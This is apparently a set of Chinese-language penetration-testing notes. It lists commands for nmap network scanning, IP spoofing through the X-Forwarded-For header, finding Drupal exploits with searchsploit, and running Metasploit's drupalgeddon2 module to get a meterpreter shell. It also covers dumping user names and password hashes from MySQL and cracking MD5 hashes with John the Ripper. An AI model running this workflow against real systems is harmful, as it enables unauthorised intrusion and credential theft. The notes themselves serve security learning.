Web Security
flow


nmap
bash
# 扫描网段
nmap -sn 192.168.80.0/24 -oG -
# 检测服务版本
nmap -sV 192.168.80.22
# 扫描全端口
nmao -sS -p- 192.168.80.22burpsuit
伪造客户端IP地址
bash
X-Forwarded-For: 127.0.0.1exploit
Exploit-db
exploit-db, Kali linux 官方团队维护的一个安全项目,是公认的世界上最大的搜集漏洞的数据库。
searchsploit
bash
# 搜索
searchsploit drupal
# 查看路径 path
searchsploit -p 34992.py
# 拷贝到本地
searchsploit -m 34992.py
# 更新本地漏洞库
searchsploit -uMetasploit
Metasploit Framework , 通常简称MSF。一个强大的漏洞利用和测试的综合平台,其中集成了大量的漏洞利用工具。在Kali中集成了MSF的社区版本。
MSF初始化
zsh
# 开启postgresql服务
systemctl start postgresql.service
# 对MSF的数据库进行初始化
msfdb init使用
进入控制台
zsh
msfconsolemsf
bash
msf > db_status
[*] Connected to msf. Connection type: postgresql.
msf > search drupal
msf > use 1
msf exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.80.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploitmeterpreter
bash
meterpreter > shellbash
python -c 'import pty;pty.spawn("/bin/bash")'database
bash
mysql -uusername -ppasswdbash
mysql -h192.168.80.15 -uroot -ppasswd --skip-sslsql
#查看版本
select version();
#查看当前用户
select user();
#查看当前打开的数据库
select database();
show databases;
use table_name;
show tables;
DESC users;
select name, pass from users;sql inject
brutepforce
字典去重排序
bash
sort -u wordlist.dic > sortedwordlist.dicJohn
Cracking
bash
john --format=raw-md5 --wordlist=/wordlists/hash-dic.txt hash-target.txt查看结果
bash
john --show --format=raw-md5 hash-target.txt其它
hash-identifier
john --list=formats
